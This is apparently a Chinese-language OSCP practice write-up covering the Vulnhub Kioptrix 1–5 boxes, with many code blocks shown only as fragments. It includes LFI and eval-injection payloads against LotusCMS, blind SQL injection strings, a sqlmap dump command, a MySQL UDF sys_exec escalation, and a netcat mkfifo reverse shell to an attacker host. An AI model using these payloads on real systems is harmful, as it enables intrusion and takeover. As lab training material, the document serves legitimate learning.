oscp—vulnhub靶场训练
1-前言
靶场:https://www.vulnhub.com/?q=Kioptrix
注意网络联通问题:
1>网卡需要删除重建.vmx里面,要不然默认桥接
2>自建局域网宿主机为头即可192.168.xx.1,无需网关和dns
3>可以用centos7虚拟机看一下会自动分配ip吗,如果分配的奇怪可能是因为没有打开VMware DHCP Service或VMware NAT Service,192.168.xx.254一般是VM的DHCP服务器,没有的话可能就是没开启DHCP
工具:searchsploit(kali),Exploit-DB,扫描提权
1 | #基础提权 |
准备条件(我用的是wsl2的kali):
1 | #kali系统 |
1 | #mysql写入文件 |
Kioptrix
Kioptrix Level 1
练习工具的使用
信息搜集
1 | #快速扫描 |

1 | ---寻找低版本的框架或者容器查找[exp]--- |


1 | #查找exp利用 |

对比可得3个可尝试exp
1 | #编译 |

流程是这么个流程,但是这个exp太过于久远了,难以运行
所以换其它的不需要lcrypto的exp运行
攻击方式
1 | #存在139端口samba服务,且得知系统为linux框架 |

搜索该服务:

发现非常多的exp,但是nmap没有版本,难不成这么多exp一个个试?
有两种方法msfconsole/nuclei跑出版本,msfconsole跑出版本前提是需要存在版本泄露的漏洞,虽然nuclei也是一样,但是架不住快呀:


1 | #或者nuclei直接跑出版本号 |

跑出版本2.2.1a就可以直接跑小于2.2.8这个版本的了
直接编译运行即可
1 | #编译 |

1 | #查看帮助 |

1 | #运行 |

1 | --- |

1 | --- |
总结
1.渗透主要是信息搜集
2.主要练习了工具使用
参考的文章
Lab 1-Vulnhub - Kioptix Level 1 - KUANTECH - 博客园
Kioptrix Level 2
web测试
信息搜集

漏洞挖掘
1 | #存在sql注入 |
存在web权限,直接反弹shell,然后发现还有gcc、wget、java和python等环境齐全,通过扫描提权,然后直接工具梭哈即可


总结
1.熟悉owasp top 10漏洞
2.渗透测试的思路
Kioptrix Level 3
web测试
注意:需要将下面的放到你的hosts文件内
1 | <ip> kioptrix3.com #靶场 |
信息搜集
测试:
可以在网上搜LotusCMS的源码或者直接搜它的历史漏洞之类的,但是今天搜历史漏洞可以把它老底都暴光,搜源码,然后看对应接口长什么样子的,保证一定的公平性。
index.php的源码如下:
1 |
|
代码审计
文件包含
如上图就加载了两个功能,第一个功能是安装,那主要功能肯定在router.php了,如下:
可以得出一个通用的结论如果参数名是 ?system=、?page=、?file= 或 ?view=,很可能是文件包含;后端开发者通常使用这个参数来决定加载哪个模块(比如 Admin.php、Login.php),当然这是16年前的代码了,放在现在肯定行不通了。
如下证明php是5.2.4

1 | payload: http://<ip:port>/index.php?system=../../../../../../etc/passwd%001 |
目前很少看到 “url即api“ 了,大多都是网页 “Hash路由+其他域名api“ 的实现
| 截断方式 | 依赖环境 | 现代防御状态 |
|---|---|---|
| Null Byte (%00) | PHP < 5.3.4 | 已失效 (PHP 核心已加固) |
| Path Length | 操作系统底层限制 | 极难实现 (现代 PHP 会预校验) |
| RFI Query (?) | 开启 URL 包含 | 已禁用 (默认关闭 allow_url_include) |
| 点号/空格 | 旧版 Windows | 已失效 |

命令执行
代码还是那一串(危险函数eval()):
1 | public function Router(){ |
原本拼接是:
1 | /index.php?system=Admin |
正常执行的php
1 | phpinfo(); |
所以
1 | #payload: /index.php?system=Page&page=index');phpinfo();/* |

测试靶场
之后同理,反弹shell后提权,(好像bash -i用不了,>用不了,cd用不了等等的,但是还好wget能用)
利用文件包含执行代码:
然后就遇到了一堆exp用不了的情况了
1 | #寻找系统中配置错误且带有特殊权限的可执行文件。 |
1 | # 第一步:调用 Python 启动 PTY |


然后可以在root账户的数据库里找到其他两个账号,然后尝试用ht编辑器直接更改/etc/passwd
1 | # 第1步:设置变量 |

或者直接使用脏牛内核提权
原理是条件竞争,使得数据直接写入了受保护的只读文件/etc/passwd,所以要稍微等一下,然后控制台需要正常一点
注意:使用了脏牛root就会被覆盖了

参考文章
vulnhub KioptrixVM3 靶场练习&LotusCMS漏洞分析 - rpsate - 博客园
CTF实战 | Kioptrix(#3)靶机渗透测试 - FreeBuf网络安全行业门户
渗透测试——Kioptrix3靶机多种方法渗透提权(脏牛漏洞提权,手把手详细教程)-CSDN博客
Kioptrix Level 4
web测试
因为是受限环境(IDS),如果排查SUID或者sql不当被检测到了就会被踢出系统,然后用户还会被封禁;
配置:vulnhub只给了一个虚拟磁盘,配置如下:
| 设置项 | 值 |
|---|---|
| 磁盘类型 | IDE |
| I/O 控制器 | LSI Logic |
| 硬件兼容性 | Workstation 10.x |
| 版本 | **Linux 2.6.x ** |
如果服务老是炸掉是正常的,因为我也炸
信息搜集

/database.sql泄露了用户名

1 | #如果username存在注入可以直接 |
只有一个登录网页,一看没有sql报错,只有php显示一个函数错误,要盲注,找到表和库后直接交给sqlmap吧
(登录会直接给密码账号的,其实找到账号可以直接登录即可)

sql注入
通过1=1,1=2回显不同判定可以使用布尔盲注:
1 | ’or 1=1' |
然后用user(),database()没事,然后用version()、substr有时候没反应,也不知道是有(IDS)还是虚拟机问题
1 | ' and database() like 'a%' # |
1 | #匹配长度 |
或者直接使用sqlmap跑(可能把服务跑崩,当然用bp抓包也可能被插件跑封禁,跑sql没跑好也ban,所以使用sqlmap反而快一些):
1 | python sqlmap.py -r 1.txt --batch --dbms=mysql --method=POST --level 3 --risk 2 -D members -T members -C "username,password" --dump |

1 | #基础提权 |
方法一:静态编译
1 | gcc -m32 -static 5093.c -o exp_32 |
方法二:mysql提权
三个条件:
1.存在lib_mysqludf_sys.so
2.可增删改
3.secure_file_priv 必须为空
存在mysql以root权限运行,并且无密码,可以用UDF提权;
1 | select sys_exec('usermod -a -G admin robert'); |

1 | #使用本身密码 |
参考文章
Vulnhub-Kioptrix4 - FreeBuf网络安全行业门户
Kioptrix Level 5
信息搜集
系统的安装download.FreeBSD.org
路径遍历
1 | #存在代码查看的功能有路径遍历---首页就有一个 |
1 | #这个配置文件的意思是指定UA可以允许访问 |

看到存在phptax可以找到源码

之后php解析+文件上传就简单了,参考payload记录中的PERL REVERSE SHELL
主要涉及命令如下:
1 | system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip $port > /tmp/f"); |
然后发现系统存在下载命令fetch,看了一下内核,然后直接找提权漏洞+提权即可

1 | fetch http://192.168.xxx.xxx:8000/26368.c |

